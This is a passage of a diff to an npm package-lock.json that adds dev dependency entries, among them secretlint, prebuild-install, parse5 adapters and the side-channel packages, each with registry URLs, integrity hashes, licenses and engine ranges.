+      "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz",
+      "integrity": "sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "hosted-git-info": "^7.0.0",
+        "semver": "^7.3.5",
+        "validate-npm-package-license": "^3.0.4"
+      },
+      "engines": {
+        "node": "^16.14.0 || >=18.0.0"
+      }
+    },
+    "node_modules/normalize-package-data/node_modules/hosted-git-info": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz",
+      "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "lru-cache": "^10.0.1"
+      },
+      "engines": {
+        "node": "^16.14.0 || >=18.0.0"
+      }
+    },
+    "node_modules/normalize-package-data/node_modules/lru-cache": {
+      "version": "10.4.3",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+      "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+      "dev": true,
+      "license": "ISC"
+    },
     "node_modules/normalize-path": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
@@ -2522,6 +4679,32 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/nth-check": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+      "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "boolbase": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/nth-check?sponsor=1"
+      }
+    },
+    "node_modules/object-inspect": {
+      "version": "1.13.4",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+      "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/obug": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz",
@@ -2533,6 +4716,87 @@
       ],
       "license": "MIT"
     },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "dev": true,
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
+    "node_modules/open": {
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/open/-/open-10.2.0.tgz",
+      "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "default-browser": "^5.2.1",
+        "define-lazy-prop": "^3.0.0",
+        "is-inside-container": "^1.0.0",
+        "wsl-utils": "^0.1.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/p-map": {
+      "version": "7.0.5",
+      "resolved": "https://registry.npmjs.org/p-map/-/p-map-7.0.5.tgz",
+      "integrity": "sha512-e8vJF4XdVkzqqSHguEMz41mQO1wKwxKm5ENrUJQUu9kLDCtn83cxbyHZcszr4QC5zEA7WffRRC4gsTecC7J9oA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/parse-json": {
+      "version": "8.3.0",
+      "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz",
+      "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.26.2",
+        "index-to-position": "^1.1.0",
+        "type-fest": "^4.39.1"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/parse-semver": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/parse-semver/-/parse-semver-1.1.1.tgz",
+      "integrity": "sha512-Eg1OuNntBMH0ojvEKSrvDSnwLmvVuUOSdylH/pSCPNMIspLlweJyIWXCE+k/5hm3cj/EBUYwmWkjhBALNP4LXQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "semver": "^5.1.0"
+      }
+    },
+    "node_modules/parse-semver/node_modules/semver": {
+      "version": "5.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
+      "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+      "dev": true,
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver"
+      }
+    },
     "node_modules/parse5": {
       "version": "8.0.1",
       "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz",
@@ -2546,6 +4810,102 @@
         "url": "https://github.com/inikulin/parse5?sponsor=1"
       }
     },
+    "node_modules/parse5-htmlparser2-tree-adapter": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.1.0.tgz",
+      "integrity": "sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "domhandler": "^5.0.3",
+        "parse5": "^7.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/parse5-htmlparser2-tree-adapter/node_modules/entities": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+      "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/parse5-htmlparser2-tree-adapter/node_modules/parse5": {
+      "version": "7.3.0",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+      "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "entities": "^6.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/parse5-parser-stream": {
+      "version": "7.1.2",
+      "resolved": "https://registry.npmjs.org/parse5-parser-stream/-/parse5-parser-stream-7.1.2.tgz",
+      "integrity": "sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "parse5": "^7.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/parse5-parser-stream/node_modules/entities": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+      "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/parse5-parser-stream/node_modules/parse5": {
+      "version": "7.3.0",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+      "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "entities": "^6.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/path-scurry": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz",
+      "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "lru-cache": "^11.0.0",
+        "minipass": "^7.1.2"
+      },
+      "engines": {
+        "node": "18 || 20 || >=22"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/path-type": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
@@ -2588,6 +4948,13 @@
         "node-readable-to-web-readable-stream": "^0.4.2"
       }
     },
+    "node_modules/pend": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
+      "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/picocolors": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
@@ -2602,10 +4969,20 @@
       "dev": true,
       "license": "MIT",
       "engines": {
-        "node": ">=8.6"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/jonschlinkert"
+        "node": ">=8.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/pluralize": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz",
+      "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
       }
     },
     "node_modules/postcss": {
@@ -2637,6 +5014,35 @@
         "node": "^10 || ^12 || >=14"
       }
     },
+    "node_modules/prebuild-install": {
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
+      "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==",
+      "deprecated": "No longer maintained. Please contact the author of the relevant native addon; alternatives are available.",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "detect-libc": "^2.0.0",
+        "expand-template": "^2.0.3",
+        "github-from-package": "0.0.0",
+        "minimist": "^1.2.3",
+        "mkdirp-classic": "^0.5.3",
+        "napi-build-utils": "^2.0.0",
+        "node-abi": "^3.3.0",
+        "pump": "^3.0.0",
+        "rc": "^1.2.7",
+        "simple-get": "^4.0.0",
+        "tar-fs": "^2.0.0",
+        "tunnel-agent": "^0.6.0"
+      },
+      "bin": {
+        "prebuild-install": "bin.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
     "node_modules/protobufjs": {
       "version": "7.6.4",
       "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.4.tgz",
@@ -2660,6 +5066,18 @@
         "node": ">=12.0.0"
       }
     },
+    "node_modules/pump": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz",
+      "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "end-of-stream": "^1.1.0",
+        "once": "^1.3.1"
+      }
+    },
     "node_modules/punycode": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
@@ -2670,6 +5088,33 @@
         "node": ">=6"
       }
     },
+    "node_modules/punycode.js": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz",
+      "integrity": "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/qs": {
+      "version": "6.15.3",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.3.tgz",
+      "integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "es-define-property": "^1.0.1",
+        "side-channel": "^1.1.1"
+      },
+      "engines": {
+        "node": ">=0.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/queue-microtask": {
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
@@ -2691,6 +5136,85 @@
       ],
       "license": "MIT"
     },
+    "node_modules/rc": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
+      "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
+      "dev": true,
+      "license": "(BSD-2-Clause OR MIT OR Apache-2.0)",
+      "optional": true,
+      "dependencies": {
+        "deep-extend": "^0.6.0",
+        "ini": "~1.3.0",
+        "minimist": "^1.2.0",
+        "strip-json-comments": "~2.0.1"
+      },
+      "bin": {
+        "rc": "cli.js"
+      }
+    },
+    "node_modules/rc-config-loader": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/rc-config-loader/-/rc-config-loader-4.1.4.tgz",
+      "integrity": "sha512-3GiwEzklkbXTDp52UR5nT8iXgYAx1V9ZG/kDZT7p60u2GCv2XTwQq4NzinMoMpNtXhmt3WkhYXcj6HH8HdwCEQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "debug": "^4.4.3",
+        "js-yaml": "^4.1.1",
+        "json5": "^2.2.3",
+        "require-from-string": "^2.0.2"
+      }
+    },
+    "node_modules/read": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz",
+      "integrity": "sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "mute-stream": "~0.0.4"
+      },
+      "engines": {
+        "node": ">=0.8"
+      }
+    },
+    "node_modules/read-pkg": {
+      "version": "9.0.1",
+      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz",
+      "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/normalize-package-data": "^2.4.3",
+        "normalize-package-data": "^6.0.0",
+        "parse-json": "^8.0.0",
+        "type-fest": "^4.6.0",
+        "unicorn-magic": "^0.1.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/readable-stream": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/readdirp": {
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
@@ -2779,6 +5303,19 @@
         "fsevents": "~2.3.2"
       }
     },
+    "node_modules/run-applescript": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-7.1.0.tgz",
+      "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/run-parallel": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
@@ -2803,6 +5340,44 @@
         "queue-microtask": "^1.2.2"
       }
     },
+    "node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/sax": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.0.tgz",
+      "integrity": "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "engines": {
+        "node": ">=11.0.0"
+      }
+    },
     "node_modules/saxes": {
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
@@ -2810,19 +5385,249 @@
       "dev": true,
       "license": "ISC",
       "dependencies": {
-        "xmlchars": "^2.2.0"
-      },
-      "engines": {
-        "node": ">=v12.22.7"
+        "xmlchars": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=v12.22.7"
+      }
+    },
+    "node_modules/secretlint": {
+      "version": "10.2.2",
+      "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz",
+      "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@secretlint/config-creator": "^10.2.2",
+        "@secretlint/formatter": "^10.2.2",
+        "@secretlint/node": "^10.2.2",
+        "@secretlint/profiler": "^10.2.2",
+        "debug": "^4.4.1",
+        "globby": "^14.1.0",
+        "read-pkg": "^9.0.1"
+      },
+      "bin": {
+        "secretlint": "bin/secretlint.js"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/secretlint/node_modules/globby": {
+      "version": "14.1.0",
+      "resolved": "https://registry.npmjs.org/globby/-/globby-14.1.0.tgz",
+      "integrity": "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@sindresorhus/merge-streams": "^2.1.0",
+        "fast-glob": "^3.3.3",
+        "ignore": "^7.0.3",
+        "path-type": "^6.0.0",
+        "slash": "^5.1.0",
+        "unicorn-magic": "^0.3.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/secretlint/node_modules/ignore": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.6.tgz",
+      "integrity": "sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/secretlint/node_modules/path-type": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/path-type/-/path-type-6.0.0.tgz",
+      "integrity": "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/secretlint/node_modules/slash": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz",
+      "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14.16"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/secretlint/node_modules/unicorn-magic": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz",
+      "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/semver": {
+      "version": "7.8.5",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",
+      "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==",
+      "dev": true,
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/side-channel": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
+      "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.4",
+        "side-channel-list": "^1.0.1",
+        "side-channel-map": "^1.0.1",
+        "side-channel-weakmap": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-list": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
+      "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-map": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+      "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-weakmap": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+      "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3",
+        "side-channel-map": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/siginfo": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
+      "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/simple-concat": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
+      "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/simple-get": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
+      "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "decompress-response": "^6.0.0",
+        "once": "^1.3.1",
+        "simple-concat": "^1.0.0"
       }
     },
-    "node_modules/siginfo": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
-      "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
-      "dev": true,
